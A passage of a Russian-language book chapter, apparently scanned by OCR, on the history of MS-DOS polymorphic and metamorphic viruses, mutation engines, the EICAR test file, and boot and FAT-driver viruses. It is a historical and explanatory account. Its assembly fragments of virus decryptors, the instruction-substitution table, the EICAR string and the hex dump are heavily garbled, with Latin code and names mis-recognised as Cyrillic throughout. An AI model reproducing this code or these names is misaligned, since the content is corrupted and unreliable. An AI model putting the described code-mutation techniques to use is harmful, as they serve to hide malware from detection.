ннми. Для них бнл придуман специальнью термин -  о.олигоморф- 
ниеь вирусн (от греч. оИ§ох -  недостаток).

До «настояхцих» полиморфиков оставался всего один небольшой 
шаг... И он, разумеется, бнл сделан. Заключался он в применении 
ряда простнх «трюков».

Во-первнх, порядок исполнения некоторнх команд (прежде всего 
команд загрузки регистров числовнми значениями) абсолютно не ва- 
жен, поэтому их можно менять местами.

Во-вторнх, командн рашифровшика можно сдвигать по памяти 
вперед-назад, разбавляя «мусором». В качестве «мусора» часто ис- 
пользуются программнне фрагментн, не влияювдие на работу рас- 
шифровшика:

О однобайтовне командн «МОР»;
О однобайтовне командн, манипулируюшие с битами регистра 

флагов процессора «СИ», «8ТО» и прочими;
О однобайтовне командн, манипулируюшие с неиспользуемнми 

в расшифровшике регистрами -  «ВЕС ОХ>>, «1КС ВР» и про- 
чими;

О однобайтовне префиксн переназначения сегментов «С3>, 
«Б5:» и прочих;

О многобайтовне и многокоманднне комбинации, не внполняю- 
шие никаких «полезннх» действий, - парн «РУЗН/РОР», 
«пустишки» типа «МОУ ВХ,ВХ» или «АОО АХ,0» и прочие;
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О «ложнне» и «бессмнсленнне» условньге и безусловнме пере- 
ходм типа ^ М Р  $+3» и прочие.

В-третьих, командн расшифровшика (в том числе и «мусорние») 
можно произвольннм образом менять местами, восстанавливая пра- 
вильннй порядок исполнения при помовди команд условного или 
безусловного перехода.

В-четвертнх, командн расшифровгцика можно заменять их функ- 
циональньши эквивалентами. Например, команда «МОУ АХ,0» точ- 
но так же о б н у л я е т  регистр АХ, как команда «511В АХ,АХ» или пара 
команд «РЪТ5Н О/РОР АХ».

В-пятьтх... А в-шестмх... Кроме того, в-седьммх... Короче говоря, 
вариантов сильно усложнить и зап\тать устройство расшифровши- 
ка -  превеликое множество. Полиморфнне расшифровшики, полу- 
чаюшиеся в результате такого рода «творчества», нередко занимают 
десятки килобайтов программного кода! Генерир\тотся они автома- 
тически, случайнмм образом, и обнаружитъ внутри них байтн на по- 
стоянннх позициях с постоянннми значениями невозможно: их там 
просто нет. Более того, применение подобннх методов порождает эф- 
фект «обфускации», то есть «запутнвания» программн, приведения 
ее к сложному для понимания виду.

Вн}гтри такие вирусм (вернее, использованнне в них алгорит- 
мн «мутации»), как правило, довольно длиннн и однообразнн: со- 
стоят из большого количества продукций вида «ЕСЛИ условие, ТО 
действие», где «условие» зависит от значения случайного числа, 
а «действие» заключается в формировании того или иного варианта 
какой-нибудь командн расшифровшика. На язмках вмсокого уров- 
ня подобнне алгоритмн обмчио реализуются в виде управляюших 
стр>тстур типа «СА5Е» (в Паскале) или «5\У1СсЬ» (в Си), а на язнке 
Ассемблера это внглядит либо как большое количество комбинаций 
вида «СМР/[Е», либо как команда косвенного перехода. ссмлаюшая- 
ся на длинную таблицу адресов:

1П а1. 4011
Сх, ах

2 1̂ Ьх, 1
зтр Тэо1е[Ьх]

*аб1е'.
йм вГТзег Аоаге51
0* зТТзе!: Аойгег2

Вот один из наиболее простмх и «компактнмх» примеров -  пара 
случайньгх расшифровшиков, сгенерированннх вирусом Вап(1ег-
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5па1сЬ (известнм.м также под непонятннм и забавнмм прозвишем 
«Злопастннй Брандашмнг»).
; Взриант 1 
51:0
1пс
Но у

Моу
Мо у

Моу
Мо у

510
ЗиЬ

Моу
1пс

Моу

ох
«1.1С1)
0 Х ,3 1

31,2838(1 

сх .сх  
Ьх, 0Ғ3611

с з : [ з 1 ] , й (1

С(1 , [01]
81

01 , [ Ьх ]
С з : Нор 
Оес Ьх

8СЙ
^ п е  0 0 0 0 2 7 1 Е

; Вариант 2 
сН
«о у  сх .О ҒЗ бЬ

ри5(1 рх
аюу

сз:
тоу
•ОУ
810
рор
аЛЛ
С10
сз:
1ПС

5Т1
йес

ризЬ
ГПОУ

]пе

пор
Ьх ,14В0(1

ах.сх 
Й(1,0Ғ2Ь

ах
с з : [ Ь х ] , й (1

пор
Ьх

сх

Ьр
аи ,[0 1 ] 
0 0 0 0 1 3 9 6

; Ключ тифрования 

;Адрео

; Счетчик цикла 

; Шифрование 

;Следувдций байт

; Декрамент счетчика 

; Цикл

; Счетчик цикла 

;Адрес

; ключ шифрования 

; Шифроеания

Сяедуюший байт

декремент счетчика

Цикл

Используются и другие идеи «самошифрования». Например, су- 
вдествуют вирусм, представляюшие собой множество переставляемьгх 
в различнмх комбинациях команд «М()У> или «Р115Н», формирую- 
ших в итоге где-то в оперативной памяти «реальнмй» образ вируса.

Интереснмй подход к идее «самошифрования» используют так на- 
зьшаемме «медленние полиморфики». Это самомодифицируюшиеся 
вирусм, мутируюшие не при каждом запуске, но лишь при сочетании
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ряда довольно редких обстоятельств (определенной датн, контроль- 
ной суммм каких-нибудь областей памяти, наличии или отсутствии 
каких-нибудь файлов на винчестере и т. п.). В остальное время ви- 
рус не имеет доступа к собственному механизму мутации, поскольку 
этот механизм зашифрован при помовди уникального ключа, соответ- 
ствуювдего этим самьш обстоятельствам. Точно так же и вирусолог 
не имеет никакого доступа к этому механизму и, следовательно, не 
может изучить возможное направление мутаций. Ему остается толь- 
ко терпеливо моделировать на своем компьютере различнме ситуа- 
ции в надежде, что когда-нибудь «ключ подойдет». Впрочем, точно 
так же нет никакой гарантии, что вирус, жив}тций в «дикой природе», 
хотя бн однаждьт мутирует. Примером такого вируса может служить 
Ркипк.1586.

«Расцвет» сложнополиморфннх вирусов для МЗ-БОЗ привделся 
на середину 90-х годов XX века. Довольно сложнне полиморфики 
создавались и чуть ранее, в 1991-1992 годах, но погодн не делали.

Пожалуй, первнми предвестниками грядувдей «бури» стали виру- 
сн семейств 5а1апЬи§ и №Ьа8, написаннне американским школьни- 
ком Джеймсом Джентиле и в 1994 г. прокатившиеся по всему Новому 
свету -  из США через Мексику в латиноамериканские странн и об- 
ратно. Вирусн содержали полиморфнне расвдифроввдики перемен- 
ной длинн и множество антиотладочннх трюков, затрудняювдих ис- 
следование их кода.

Примерно в это же время появились образцн компьютерной «за- 
разн» из Англии, сконструированнне на основе внсокосложной по- 
лиморфной технологии 8МЕС (речь о такого рода <<технологиях>> 
пойдет дальвде). Распространения вдирокого они не получили, но все 
равно внзвали что-то вроде небольшой паники в средствах массовой 
информации. Длина и «запутанность» полиморфннх расшифроввди- 
ков тогда поразила даже вирусологов.

А спустя евде полгода грянула мировая эпидемия вируса ОпеНа1С. 
3544. Полиморфньга расшифроввдик этого вируса представлял собой 
не один целнй фрагмент, но бнл распределен «кусочками» по всему 
телу зараженного файла, причем «кусочки» бнли связанн по управ- 
лению при помовди команд условного и безусловного перехода.

Метод модифицирования кода программ, предусматриваювдий 
перестановку с места на место как отдельннх команд, так и целнх 
блоков, получил название «пермутации» (от 'джя.ретшШгоп -  пере- 
становка). А метод, заключаювдийся в перемешивании кода вируса 
с кодом программьт, -  «сплайсит» (от англ. (оярИсе -  сплетать).
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... Профамма...

2-ой фрагмент 
расшифровуцика

... Программа...

1-ьяй фрагмент 
расшифровицика

.. Программа...

М-Ь1й фрагмент 
расшифровидика

... Профамма...

Зашифрованний
вирус

Рис. 3.7 ❖ Структура программм, 
зараженной вирусом ОпеНа113544

Вирус ОпеНа1Ғ.3544, написаннмй в одной из стран Восточной 
Европн, поистине считается «королем» всех полиморфиков для 
М 5-005, хотя ничего особенно нового в практику написания виру- 
сов он не привнес, а в дальнейшем бнл многократно превзойден по 
сложности своими более «молоднми» собратьями. Его «величие» 
заключается не в том, что он содержал довольно оригинальную ин- 
терпретацию идеи полиморфизма, и даже не в том, что в ходе своего 
«триумфального» распространения по миру он умудрился побнвать 
чуть ли не на каждой машине, но в том, что он произвел какую-то глу- 
бинную подвижку в умах как вирусологов, так и вирусописателей.

Появление этих (и им подобннх) вирусов ознаменовало собой на- 
ступление эпохи больших перемен. В самом деле, к 1993-1994 годам 
графическая оболочка \У1пс1о\У5 З.Х, несмотря на свою популярность, 
так и не стала базовой платформой для пользовательского программ- 
ного обеспечения -  консервативное «большинство» не торопилось 
окончательно расставаться с М5-ВОЗ. Практически все, даже самне 
глубиннне особенности архитектурн М 5-005  бнли хорошо изуче-
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нь1 и не являлись больше тайной ни для вирусописателей, ни для их 
оппонентов.

В сложившейся к тому моменту ситуации вирусологов тревожи- 
ло лишь лавинообразное нарастание количества довольно простнх и 
однообразннх вирусов, в связи с чем ими начали активно разраба- 
тнваться и внедряться средства автоматического обнаружения и уда- 
ления «стандартньгх» вирусов (например. комплект Ас11п£/Ас11п{ЕхГ 
Д. Мостового и Ю. Ладнгина).

Такое положение дел не могло не отразиться и на тенденциях ви- 
русописательства. По самолюбию «технокрнс» бнл нанесен мовдннй 
удар, Чем же стоит хвастаться перед «соратниками», если твой вирус 
не только не получил распространения, но и мгновенно с-сложил го- 
лову» уже на соседнем компьютере. причем хозяин этого компьютера 
даже этого не заметил?!

И вот вирус ОпеНа1£.3544 открнл перед вирусописателями новне
Г0рИ30НТЬ1.

Стало «модннм» писать сложнне и тшательно отлаженнне вирусн, 
способнне загадать загадку вирусологу не просто фактом своего суше- 
ствования, но и заложенньшл внутри вируса хитроумннми идеями. 
В среде вирусописателей повнсился престиж числиться не «троеч- 
ником», но как минимум «хорошистом». Знания дюжинн системннх 
прернваний и умения накорябать работоспособную ассемблерную 
программу становилось недостаточно, чтобн считаться «настояшим 
мачо». Вирусописатели всерьез засели за изучение теоретических ос- 
нов программирования, начали применять при шифровке-расшифров- 
ке сложнне методн поиска и сортировки данннх, комбинаторику, тео- 
рию графов, математическую л о тку  и т. п. Вслед за вирусом ОпеНаИ- 
пришли такие сложнополиморфнне «монстрн», как 1^о$1агс1атих, 
Ми1Сгаскег, КОА.Ғ1§Ькег, 11кгаше, Касгог, ТЬепфп и прочие.

Все эти вирусн бнли устроенн по «классической» схеме: содер- 
жали как изменяюшийся от копии к копии расшифровшик, так и за- 
шифрованное с различннми «ключами» основное тело вируса.

Однако уже во второй половине 1990-х годов появились новне 
идеи. Прежде всего следует упомянуть идею случайной «пермута- 
ции» (перемешивания), примененной не только к расшифровшику, 
как в вирусе ОпеНа1Г.3544, но и ко всему программному коду вируса.

Одним из первнх представителей «новой волнн» стал вирус 
Р1у.3360. 'Гело его разбито на множество блоков одинаковой длинн, 
причем каждьш такой блок содержит одну «значимую» команду (ко- 
манду, внполняюшую какое-нибудь важное для алгоритма действие),
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•«мусор» (состояший из команд «МОР») и, возможно, команду пере- 
дачи управления (^М Р » или «САЬЬ») на другой блок. «Значимая» 
команда (например, «1КС АХ») может занимать любую позицию 
внутри блока, а команда перехода управления может отсутствовать. 
Вот два варианта такого блока:
; Вэриант 1 
пор
1пс ах 
пор . . .
]глр ЬАВЕЬ

; Вариант 2
пор
пор
1пс ах 
с з  11 Ш Е 1

Блоки внутри вируса могут располагаться в любом порядке, а пра- 
вильная последовательность их исполнения организуется при помо- 
ши команд «^МР» и «САЬЬ». Самое удивительное, что в вирусе во- 
обвде нет никаких шифровшиков и расшифровшиков. а из подобнмх 
«блоков» составлен не только алгоритм заражения, но и алгоритм 
перемешивания блоков, то есть практически весь вирус! Это и есть 
применение идеи «пермутации» вируса.

Разумеется, принцип распознавания конкретно этого вируса до- 
вольно прост, особенно если использовать для его реализации один 
из методов пошаговой трассировки. Заключается он в следуюшем: 
необходимо, пропуская «мусорнме» командьх, двигаться по блокам 
в порядке их исполнения и собирать вместе только «значимме» ко- 
мандн. После завершения прохода множество «значиммх» команд 
образуют статичньш «хребет» вируса, представляюший собой вполне 
традиционную сигнатуру.

Вирусописателями предпринимались неоднократнме попьггки 
«усилить» алгоритм пермутации.

Например, вирусм семейства ТМС последовательно, команда за 
командой, строили в памяти свой пермутированньш образ, в произ- 
вольннй момент времени то делая пропуски (при помовди команд 
«]МР»). то заполняя эти пропуски очереднмми командами. При этом 
они использовали находяшуюся внутри вируса зашифрованную ста- 
тичную таблицу, содержаш.ую позиции команд и их длинн. Таким об- 
разом, вирусн этого семейства представляли собой всего лишъ «гиб- 
рид» пермутируклцих вирусов и «обьганмх» полиморфиков.
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А вот вирусн семейства УС6 (Ве1ка и 5(ге1ка) таких таблиц не 
содержали, но все равно, по мнению И. Дикшева, внутри них нахо- 
дились зашифрованнме «островки стабильности» -  во-первнх, по- 
стояннне процедурн, реализуюшие алгоритм мутации; во-вторнх 
«справочник замен>>, согласно которьхм некоторне командн вируса 
менялись на свои функциональнне эквивалентн:
: Бариант 1 
воу Я1, Я2 
; Вариант 2 
ризП Н2 
хсМд Й1.В2 
рор Я2 
; Ваоиант 3 
зир 81 ,Я1 
ог Н1,В2 
, Бариант 4 
хог К1,Н1 
аОЙ Н1.Я2 
; Вариант 5 
рцз*! Н2 
рор Н1 
; Вариант 6 
иоу Я1,0 
хог Я1, Н2

Сама по себе идея «пермутации» (перемешиван1м ) вирусньгх ко- 
манд больших трудностей перед вирусологами не создает. Но вот 
если «скрестить» ее с идеей заменн всех команд на их функциональ- 
нне эквиваленть1 , например «ХОК АХ,АХ» на «МОУ АХ,0», то воз- 
никнет исключительно сложная для детектирования разновидность 
полиморфиков -  «метаморфние» («те1ашогрЬ») вирусн [65]. Иго- 
рю Муттику, известному вирусологу 1990-х годов, приписнвают ем- 
кое определение: «метаморфизм есть полиморфизм, примененньга 
ко всему вирусному телу». В эпоху М5-Б05-программ бнло создано 
не очень много метаморфнмх вирусов, да и больших проблем перед 
антивирусннми специалистами они не поставили. Расцвет подобной 
«заразм» пришелся на рубеж двух веков, на эпоху \Утс1о\У5.

А что же антивирусн? С-ейчас, задним числом, читая антивирус- 
нме пресс-бюллетени и статьи тех лет, экспериментируя со старнми 
антивирусами, трудно отделаться от мнсли, что вирусологи серединм 
1990-х оказались не готовн к «полиморфной революции»! Потеряли 
актуальность и бмстро исчезли со сценн многие, прежде очень по- 
пулярнне, антивируснне программн. Закачались устои таких «мон- 
стров» мировой антивирусной индустрии, как СепСга! Ро1п1 5о1’(л\'аге.
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МсА£ее Аззос^аСез, БгЗоЬтоп, ЗутапСес и прочие. Традиционние ме- 
тода детектирования и удаления вирусов, на которнх бьши основанн 
их продуктм, оказались несостоятельннми. Обнаруживать сложно- 
полиморфнне вирусн им ехце удавалось (это проше), а вот удалять их 
из зараженннх файлов -  нет.

ЙОГ^ОП А п ( | У 1ГЦ£

Нееозможно испоавкть Файл 
А:ЮиЕНА1_Ғ13544ЮпеН3544.СО_

Удалиге его и скопируйге незараженндо 
когкню этого ф«йда.

т

Рис. 3.8  ❖ Мог1оп Ап1мя13 середини 1990-хгодов 
бессилен против ОпеНаК.3544

Отечественная вирусология также оказалась в нокдауне. Знамени- 
тнй А1(15Те81 Д. Н. Лозинского, не способньш обнаруживать самомо- 
дифицируюшуюся -«заразу», хотя и продержался до осени 1997 года, 
но лишь в роли старой, милой и бесполезной «игрушки». Практи- 
чески бессильньш против некоторнх подобннх вирусов оказался и 
комплект А сНп£/Ас11п£Ех1. Антивирусн тоже оказались перед необ- 
ходимостью революционннх изменений. И они произошли. Именно 
в 1990-х годах бнли разработанн и начали внедряться новне анти- 
вируснне технолоши:

О «рентгеноскопирование» полиморфнмх вирусов, то есть ис- 
пользование их индивидуальнмх уязвимостей;

О управляемое вьшолнение подозрительннх программ, то есть 
их трассировка или эмуляция;

О синтаксический подход к детектированию «пермутируюн(их » 
вирусов;

О эвристический анализ подозрительннх программ и т. п.
Подробнее эти идеи и методм, основаннме на них, будут рассмот- 

ренн в последней главе книги.

3.8.2. Полиморфние технологии
Это своеобразное «средство автоматизации» для написания поли- 
морфннх вирусов. Первую полиморфную технологию («движок») 
создал в 1991 г. Вагк А\'еп§ег и назвал ее М(:Е -  МшаСюп Еп§1пе. В те 
времена некоторме вирусологи бнли уверенн, что сначала кто-то 
написал полиморфньга вирус Ро§ие, а уж потом Вагк Ауеп^ег вмде-
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лил из него алгоритм мутации в чистом виде и оформил его в виде 
внешней библиотеки, которую можно бьмо подключать к любому 
вирусу. Впрочем, простой анализ текстовцх строк внутри тела виру- 
са («М1Е 0.90» и «ТКХ20АУ») дает основание утверждать, что все 
происходило в точности наоборот. Важно то, что до М1Е полиморф- 
нне вирусм создавались наиболее опьггннми вирусописателями, и 
их бьшо относительно немного, а теперь -«заразу» подобного вида мог 
«собрать из кубиков» каждьш желаюший.

В довольно короткие сроки появилось множество вирусов, исполь- 
зовавших М4Е.А потом стали появляться и новме полиморфнне тех- 
нологии. К середине 90-х годов сложилась целая «специализация» 
среди вирусописателей: создание собственннх полиморфннх тех- 
нологий. Сейчас их сушествует около полусотни: М1Е, 8МЕС, ТРЕ, 
БАМЕ, ЬАМЕ, ВАМЕ, М1МЕ, А\\ТМЕ... Но только некоторне из них, 
не более дюжинн, получили известность и послужили инструментом 
для создания семейств полиморфннх вирусов.

Е. Касперский предсказнвал, что рано или поздно должнн бнли 
появиться «метатехнологии », то есть автоматизированнне генерато- 
рн  полиморфннх технологий. Но вирусописателям то ли квалифи- 
кации не хватило, то ли просто лень обуяла, и этого не произошло.

Следует отметить, что полиморфнне технологии могут применять- 
ся не только для написания вирусов. Известнн случаи, когда про- 
граммистн при их помоши пнтались зашитить от дизассемблирова- 
ния и взлома свои вполне мирнне системнне утилитн и прикладнне 
программн. Но антивирусн, как правило, дово.чьно «нервно» реаги- 
ровали на подобннй «симбиоз». Будучи обнчньш законопослушннм 
пользователем, станете ли вн держать у себя какую-нибудь СУБД, 
про которую антивирус регулярно сообшает: «подозрение на 8МЕС. 
ВА5ЕО»? Вот почему подобная практика широкого распростране- 
ния не получила. Хотя, конечно, рациональное зерно в ней все равно 
присутствовало: этим незадачливьш экспериментаторам достаточно 
бнло просто написать и использовать свою, неизвестную антивиру- 
сам полиморфную технологию. Но увн, авторн прикладннх про- 
грамм обнчно не дружат с системньш программированием.

Рассмотрим подробнее одну из типичннх полиморфннх техноло- 
гий -  ТРЕ. Вот перевод фрагмента «документации», приложенной 
автором к своей разработке.

ТпдепТРо/утогрЬю Епдте Ьу Мазид КНаЛг [ТгШепТ].
ТРЕ- зто модуль, которий можетбь/ть вставлен в программь! для
того, чтобь! они могли продуцировать полиморфнь/е программь/.
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ТРЕ распространяется как ОЕи-файл. Если вь/ хотите вставить 
ТРЕв вашу программу, вь/должнь/ скомпоновать их вместе... ТРЕ 
делаетдве веши. Во-первшх, он шифрует оригинальнь/й код. Это 
делается разншми способами каждь/й раз, когда ТРЕ вь/зь/вает- 
ся. Во-вторь/х, для этого он генерирует расшифровь/ваюицую 
процедуру... Конечно, расшифровш,ик также будет различен при 
каждом обраицении к ТРЕ. ТРЕ может генерировать как просше 
шифровшики, так и расшифровшики со включенними случайно 
вь!браннь1ми «мусорними» командами.
В объектном модуле содержатся кодн трех процедур:
О гпсМш! -  предназначена для инициализации датчика псевдо- 

случайннх чисел;
О гпс1_£е£ -  это собственно датчик псевдослучайньгх чисел;
О сгург -  собственно процедура шифрования.
Правила использования ТРЕ очень простн. Процедуре сгур1 перед 

внзовом следует передать в регистрах необходимьте параметрн: адрес 
фрагмента, которий подлежит зашифровке; длину шифруемой об- 
ласти; адрес области, в которую будет помешен код расшифровшика; 
флаги режимов вставки «мусора» между командами расшифровшика 
и прочее. Сгенерированннй полиморфннй расшифровшик будет со- 
стоять из нескольких десятков команд и виглядеть довольно зап\тан- 
ннм для «человеческого» глаза. Тем не менее использование в вирусах 
как ТРЕ, так и других полиморфннх технолошй ничем не затрудняет 
их обнаружаемость и удаляемость со сторонн современннх антивиру- 
сов, по сравнению с «традиционньши» полиморфиками.

3.9. Необь1чнь1е файловью вирусь! 
для М5-ООБ

Эпю бьш вполне приличньш музей -  со стен- 
дами, диаграммами, витринами, макетами и 
муляжами. Обций еид более всего нагюминал 
музей кримшшлистики: много фотографий и 
неаппетитнъа жагонатов.

А. и Б. Стругацкие. 
«Понедельник начинается в субботу»

В принципе, «сочинение» вирусов -  это тоже «творческая работа». 
Во все времена «элитой» среди вирусописателей считались те, кто 
изобретал и использовал необнчнне технологии размножения, при-
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менял нестандартнне приемм программирования. Результатн их ра- 
ботм занимают место не в «пнльнь1Х запасниках», а на «сверкаювдих 
витринах» любнх вирусннх коллекций.

3.9.1. «Не-вируо» Егсаг
В начале 90-х годов XX века членами «Европейского института анти- 
вирусннх исследований» (сокрашенно «Е1САК») бьш разработан 
«ложньш вирус» -  файл, содержаидай очень короткую и совершенно 
безвредную СОМ-программу. Если ее запустить, то она просто вн- 
ведет на экран сообшение «Е1САК-5ТАКОАКО-АКТ1У1Ки5-ТЕЗТ- 
Ғ1ЬЕ1» и завершится. Предназначен бнл этот «ложннй вирус» для 
тестирования работоспособности антивирусов различннх произво- 
дителей: кажднй антивирус обязан бнл уметь обнаруживать и рас- 
познавать этот файл и реагировать на него так, как обьгано реагирует 
на настояший вирус. «Лечению» этот «ложньш вирус», разумеется. 
не подлежал.

У этой программн есть одна забавная особенность: числовне зна- 
чения всех 68 байтов, составляюших ее, являются кодами больших 
букв латинского алфавита и некоторнх знаков. Ее можно «изгото- 
вить» в обнчном текстовом редакторе:
Х50!Р№ АР[4\Р2Х54(Р“ )7СС)7}$Е1САВ-ЗТАН0АЯ0-АНТШВ1)$-ТЕ5Т-Ғ11Е!$Н+Н-

Кстати, написание программ в таком стиле довольно нетривиаль- 
но, ибо автору требуется убить сразу двух зайцев: с одной сторонн, 
при помоши узкого набора машинньтх команд со «звучашими» кода- 
ми сформировать требуемнй текст; с другой -  обеспечить внполне- 
ние желаемого алгоритма. «Подвиг» европейских вирусологов уда- 
лось повторить немногим, например автору вируса Рори1|гег.313, и 
вот как внглядит дамп его начального фрагмента (обратите внимание 
на текстовне строки, которне одновременно являются исполняемнм 
вирусннм кодом!):
43 4Ғ 40 50 -55  54 45 52 5Ғ 56 49 5 2 -5 5  53 5Ғ 43 С0МРиТЕЯ_У1ВиЗ_С
40 55 42 5 Ғ -2 7  53 54 45 41 40 54 4 8 -2 7  5Ғ 4В 49 И )В_'5ТЕА|_ТН ’ _К1
45 56 2Е 5 Ғ -56  49 52 55 53 5Ғ 53 4 0 -41  4С 4С 33 Е Г _ У Ш 8 _ З М А И .З
2Е 5Ғ  57 52 -49  54 54 45 4Е 5Ғ 42 5 9 -5 Ғ  50 4Ғ 50 ' _«Н1ТТЕМ_ВУ_Р0Р

Шли годн, антивирусн исправно реагировали на «Е1САК.СОМ» 
(и продолжают делать это до сих пор), но постепенно вняснилось, 
что гораздо интереснее проследить, как на эту программу реагиру- 
ют пользователи. А они реагируют очень нервно. Увидев на экране 
сообшение типа «Обнаружен тестовнй файл Е1САК. Не беспокой-
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тесь, это не вирус!», пользователи тем не менее обьтчно начинают 
нервничать, бросают работу и пнтаются вьшснить у коллег «способ 
исцеления этой неизлечимой заразн>. До сих пор не рекомендуется 
посьшать данньш файл по электронной почте в виде двоичного вло- 
жения в электронное письмо -  антивируснне фильтрн провайдера, 
настроеннне «бдительньши» админами, могут не только «грохнуть» 
все письмо целиком, но евде и занести ваш адрес в свой «черньш 
список».

Да, прав бнл Весселин Бончев: самнй страшньш вирус -  это трус- 
ливьгй пользователь. От себя добавим: и админ -  тоже!

3.9.2. «Двупольж» вирус
«Компьютерньш вирус -  это программа, которая умеет размножать- 
ся», -  заявлял Фред Коэн. Мн уже знаем, что нередко компьютернне 
вирусм обладают и другими свойствами, характерннми для биологи- 
ческих объектов: например, полиморфнне вирусьт утмеют в широких 
пределах видоизменять свою «внешность».

Но изредка встречаются вирусн, которне пьттаются моделировать 
другие, более сложнне формн поведения живмх сушеств. Например, 
вирус 1ШМ5 имитирует половое размножение, характерное для внс- 
ших организмов.

Он состоит из двух независимьгх резидентннх компонентов: 
1ШМ5.М\¥.Мап.297 и КНМЗ-МШХУотап.ЗБЗ Стартовав из зара- 
женной программн, кажднй из компонентов первнм делом проверя- 
ет наличие в оперативной памяти своего резидентного обработчика 
прерьшания 21Ь и при необходимости устанавливает этот обработ- 
чик. Но обработчики «мужской» и «женской» половинок устроенн и 
ведут себя по-разному. «Мужской» обработчик реагирует на запуски 
любмх программ, внполняемне при помоши функции 4ВЬ прернва- 
ния 21Ь, и проверяет их на возможность заражения. Вслед за этим он 
поснлает (все через то же прернвание «ШТ 21Ь») своей «подрчте» 
даннне о потенциальной жертве. «Женский» обработчик, получив 
эту информацию, внедряет в жертву вирусннй код -  либо «мальчи- 
ка», либо «девочку».

Оба эти компонента могут распространяться с машинн на машину 
вместе с зараженннми файлами независимо друг от друга. Но раз- 
множение вируса произойдет только в том случае, если на какой-ни- 
будь машине окажутся запушенньши сразу обе модификации вируса. 
Поэтому, если смотреть формально, ни один из отдельно взятнх ком- 
понентов вирусом не является!
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Подробнее теорию и практику компьютерного моделирования 
жизни мм рассмотрим в последней главе книги.

3.9.3. Файлово-загрузочнме вирусь!
Файлово-загрузочньге вирусн -  одна из слоисннх разновидностей 
коммьютерной «заразм». Большинство сложнополиморфнмх виру- 
совсерединм90-хгодов XX века, включая ОпеНа1£.3544, Касгог.4444, 
N^(^5, №1:сгаскег, КОА.Ғ1§Ь(;ег и прочие, относились именно к этой 
разновидности. В те времена умение написать подобньга вирус явля- 
лось признаком наивнсшей вирусописательской квалификации.

Собственно говоря, если рассматривать «половинки» такого ви- 
русного «кентавра» по отдельности, то они ничего особенного собой 
не представляют. Типичньга файлово-загрузочньш вирус стартует 
как из файлов, так и из загрузочннх секторов дискет и винчестеров. 
Находясь в резидентном состоянии, он перехватнвает прерьшания 
21Ь и 13Ь, благодаря чему способен инфицировать как обнчнме про- 
граммн, так и загрузочнне записи дискет.

С-амое интересное и необнчное в файлово-загрузочннх вирусах -  
это то, каким образом они, стартуя с инфицированной дискетн, умуд- 
ряются в дальнейшем перехватить также прернвание 21Ь, ведь оно 
становитея актуальннм лишь после нормального завершения загруз- 
ки операционной системм.

Для того чтобн внполнить эту операцию, типичннй файлово-за- 
грузочньгй вирус, инсталлируясь в «откусаннмй» фрагаент оператив- 
ной памяти, вместе с прернванием 13Ь перехватнвает также прернва- 
ние 8 (или 1СЬ), генерируемое системннм таймером компьютера по 
умолчанию 18,2 раза в секунду. Теперь вирус получает возможность 
рег>'Лярно «проснпаться» и проверять, не завершилась ли загрузка 
операционной системн и не пора ли перехватнвать прернвание 2 1Ь.

Другая, не менее интересная разновидность файлово-загрузочннх 
вирусов вообше не перехватнвает прернвания 21Ь, но тем не менее 
все равно способна внедряться в программнне файлн. Речь идет о ви- 
русах семейства Воо1Ехе.

Работа таких вирусов основана на следукмцих обстоятельствах. 
Распространеннне компоновшики загрузочннх модулей М1СГ050Л 
Упк и Вог1апс1 ТЦпк при построении ЕХЕ-программ резервируют 
под заголовок такой программн 512 байтов, тогда как полезная ин- 
формация занимает в этом фрагменте ничтожно малую часть -  всего 
28 байтов. Таким образом, ЕХЕ-программа, сгенерированная этими 
компоновшиками, содержит внутри достаточно большую неисполь-
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зованную область, заполненную нулями, причем эта область распола- 
гается в первом дисковом секторе файла. Вирусм семейства ВоокЕхе 
сканируют все считмваемме с диска секторн на наличие в них харак- 
терной сигнатурм 'М2' и большого количества нулей. При успешном 
обнаружении они записнваются в такой сектор, не забнв модифи- 
цировать расположеннне в нем необходимне поля ЕХЕ-заголовка. 
В результате программа оказмвается зараженной, но длина ее оста- 
ется прежней!

К счастью, программ, пригодньтх для заражения Воо1Ехе-вируса- 
ми, не так много. Компоновшики программ, создаваемнх средствами 
язьжов внсокого уровня типа Си или Паскаля, не оставляли внутри 
программ «дьгр». Если же это происходило, то производители про- 
граммного обеспечения для М З-Б05 практически всегда «упаковмва- 
ли» свои программм утилитами типа РкЦСе, Ь2ЕХЕ, Ле1, АапЕХЕ и т. п.

Обратите внимание: подобнне технологии не умерли вместе с М5- 
1305, в XXI веке они используются и некоторьши современньши 
буткитами!

3.9.4. Вирусь1-«драйверь1»
Речь идет об очень сложной и красивой разновидности вирусов, ис- 
пользуюших для своей работн особенности файловой системн ҒАТ. 
Не будет преувеличением сказать, что авторн этих вирусов -  исклю- 
чительно сильнне системнне программистн.

Вирус 01Г-П.1024 (Опуег.Ю24, 01К-Ю24) бнл написан в 1991 го- 
ду предположительно на Украине, в городе Львове. Он не только вн- 
звал массовую эпидемию в странах бнвшего СССР и во всем мире, 
но и поразил воображение вирусологов своей нестандартностью. Ос- 
новная идея этого вируса -  модифицировать записи о СОМ- и ЕХЕ- 
файлах в каталогах диска таким образом, чтобм все они указьшали 
в ҒАТ-таблице на одну и ту же цепочку дисковмх кластеров. Разуме- 
ется, это бнла цепочка, описьтаюшая местоположение единственной 
прис\тствуюшей на диске (в его последнем кластере) копии вируса. 
Подлинная информация о местоположении программньгх файлов 
(ссмлки на ҒАТ-таблицу) перемешалась в неиспользуемне обла- 
сти записей в каталогах диска. Находясь в памяти резидентно (бо- 
лее того, подменяя собой дисковнй драйвер!), вирус при обрашении 
к программннм файлам «на лету» корректировал эту информацию, 
скрмвая таким образом от пользователя свое присутствие.

Вирус ЗАРАЗА появился на несколько лет позже, снова его авто- 
ром, скорее всего, являлся наш соотечественник, и снова на вирусо-



Необьннье файловье вирусь! для М 5-Р05 ❖ 175

логов произвела огромное впечатление нетривиальность использо- 
ванной идеи. Этот вирус создавал для программного файла «Ю.5УЗ» 
(котормй в первую очередь получает управление в процессе загрузки 
операционной системм) две записи в ҒАТ-таблице. Первая запись, 
фальшивая, указмвала на вирус, но именно она по умолчанию при- 
нималась во внимание загрузчиком операционной системм. Старто- 
вав, вирус вьшолнял свои «болезнетворнне» действия и только после 
этого передавал управление оригинальному коду файла «Ю.5УЗ». 
К счастью, большой эпидемии этот вирус не внзвал, но «шороху на- 
вел». Вирусм-драйверн операционной системьт МЗ-ООЗ послужили 
прототипом для очень небольшого количества подражаний и зако- 
нодателями вирусописательской модн так и не стали. Слишком уж 
сложнн бнли использованнме в них технологии.

3.9.5. Вируси с «неизвестной» точкой входа
В подавляюшем большинстве случаев вирусн, получаювдие управле- 
